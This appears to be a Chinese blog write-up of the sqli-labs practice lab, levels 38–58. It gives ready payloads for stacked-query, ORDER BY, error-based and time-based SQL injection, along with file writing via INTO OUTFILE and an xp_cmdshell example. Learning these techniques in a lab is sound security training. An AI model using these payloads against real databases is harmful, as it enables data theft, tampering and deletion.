用户输入:
1;DELECTE FROM products
服务端生成的SQL语句为:(因为没有对输入的参数进行过滤)
select * from products where productid=1;DELECT FROM products

当执行完第一条显示查询信息,第二条则将整个表进行删除。

2堆叠注入的局限性

堆叠注入的局限性在于不是每一个环境都能够执行,可能受到API或者数据库引擎不支持的限制,当然权限不足也是可以解释为什么攻击者无法修改数据或者调用一些程序。

PS:这是从天书中截取出来的,我和天书用的都是PHP+MySQL。
虽然提到了堆叠查询可以执行任意SQL语句,但是这种注入方式不是十分的完美。在web系统中,因为代码只能返回一个查询结果,因此堆叠注入语句第二个语句产生错误或者结果只能被忽略,我们在前端界面是看不到返回结果的。
因此,在读取数据时,锦衣使用union(联合)注入。同事在使用功能的堆叠注入知其难,我们也是需要知道数据库的相关信息的,例如表名列名等。

sql server数据库

1:增加数据表:select * from test;create table sc3(ss CHAR(8))
2:删除数据表:select * from test;drop table sc3
3:查询数据select 1,2,3;selct * from test;
4:修改数据select * from test;update test set name='test' where id=3;
5:SqlServer中最为重要的存储过程的执行:select * from test where id=1;exec master..xp_cmdshell'ipconfig'

oracle数据库

oracle不能够进行堆叠注入。
当有两条语句在同一行的时候,就会报错。

postgresql数据库

1:建立一个表 select * from user_test,create table user_data(id DATA)
2:删除新建的user_data表select * from user_test;delete from user_data;
3:查询数据 select * from user_test;select 1,2,3;
4:修改数据select * form user_test;update user_test set name='modify' where name='张三';

堆叠注入主要用来,改,增,删除;

Less-38:GET-Stacked Query Injection -string

构造payload:
id=1';insert into users(id,username,password) values('20','less-38','hello')--+
执行完后,会在对应的表中创建一新的id

Less-39:GET-Stacked Query Injection-intiger based

构造payload:
?id=1;delete from users where id='21'--+
执行完后,会删除id为21的数据

Less-40:GET-BIND based String-Stacked

盲注:

构造payload:
?id=1');insert into users(id,username,password) values('31','Less-40','hello');--+

猜出来封闭式怎么样的就行,后面要干嘛可以不修改,才出来正确的id左右单双引号,就能看到账号和密码,此时就完成了堆叠注入(要保证后面的语句正确)

Less-41:GET-BIND - Intiger - Stacked

盲注:数字型注入:
构造payload:
?id=1;insert into users(id,username,password) values('41','Less-41','hello');--+

Less-42:POST - Error based -String - Stacked

update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码出进行注入。

这里我们发现,password没有通过mysql_real_escape_string()的处理,所以我们对password进行攻击。

账号随便输;(用hackbar可能没得反应)
密码:9';create table me1 like users;#
因为是堆叠注入,所以这里不需要成功登陆

成功之后:

Less-43:POST - Error based -String - Stacked with twist

查看login.php可知,与less-42的区别是,账号密码使用了('')包裹;

账号随便输;
密码:9');create table less-43 like users;#
因为是堆叠注入,所以这里不需要成功登陆

Less-44:POST - Error based -String - Stacked - Blind

没有回显信息 password使用''包裹

构造payload:
9';create table less44 like users;#

Less-45:POST - Error based - String - Stacked - Blind

没有回显信息 password使用('')包裹

构造payload:
9');create table less45 like users;#

参考:
《sql注入天数》
https://www.cnblogs.com/7-58/p/12273030.html

background9 order by 之后的injection(46-53)

Less-46 GET - ERROR based - String - Stacked -Blind
本关开始,学习order by相关的注入的知识。
本关的SQL语句为$sql="SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc 或者asc,显示结果不同,则表明可以注入。(升序或者是降序排列)
从上述的SQL语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,需要先了解一下MySQL中select的文档。

我们可以利用order by后面的一些参数进行注入。
首先
1:order by后的数字可以作为一个注入点,也就是构造order by后的一个语句,让该语句执行结果为一个数,我们尝试:http://127.0.0.1/sqli-labs-master/Less-46/?sort=left(version(),1)
没有报错,但是right换成left都一样,说明数字没有 起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
此处可以直接构造?sort= 后面的一个参数。此时,我们可以有三种形式,
(1)直接添加注入语句,?sort=(select ******)
(2)利用一些函数。例如rand()函数等。?sort=rand(sql 语句)
ps:此处我们可以展示一些rand(ture)和rand(false)的结果是不一样的。
(3)利用and,例如?sort=1 and (加sql语句)。
同时,sql语句可以利用报错注入和延时注入的方式,语句可以灵活构造。
报错注入例子

?sort=(select group_concat(count(*)) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

或者:

?sort=1 and extractvalue(1,concat('~~',(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ ),'~~'))-–+
?sort=(extractvalue(1,concat('\~~',(select @@version),'\~~')))#

延时注入

?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

2:procedure analyse参数后注入
利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by回见可以存在limit参数,我们在实际应用中,旺旺也可能会存在limit后的注入,可以利用procedure analyse进行注入。

http://127.0.0.1/sqlilabs/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)


3:输出导入导出

http://127.0.0.1/sqli-labs-master/Less-46/?sort=1%20into%20outfile%20%22D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-46\\test.txt%22#//

order by 也可以union 联合查询

order by id ) union(select 1,(version()),3)

less-47

闭合为单引号

less-48

less-46的盲注

less-49

不能使用报错注入,可以导入文件

http://127.0.0.1/sqli-labs-master/Less-49?sort=1' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-49\\test.txt"--+

less-50

这是堆叠,加分号就行,也可以导入导出文件

http://127.0.0.1/sqli-labs-master/Less-50?sort=1;select 'test' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-50\\test.txt"--+

less-51

less-50加分号

less-52

50的盲注

less-53

51的盲注

challenges

less-54

只有10次机会,额,还是注意一下

我们是知道数据库叫啥的,额,不知道也没关系

找出闭合方式

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

http://127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='k8n4vi5gn2'--+

http://127.0.0.1/sqli-labs-master/Less-54/?id=-1' union select 1,2,group_concat(id,':',sessid,':',secret_ICFQ,':',tryy) from k8n4vi5gn2--+

less-55

less54,闭合为小括号

less-56

less54,小括号,单引号

less-57

_双引号_字符型

less-58

报错注入
http://127.0.0.1/sqli-labs-master/Less-58?id=1' and extractvalue(1,concat('~~',(select group_concat(table_name) from information_schema.tables where table_schema='challenges')))--+

后面都大同小异

posted @ 2021-02-26 00:20  upstream_yu  阅读(294)  评论(0编辑  收藏  举报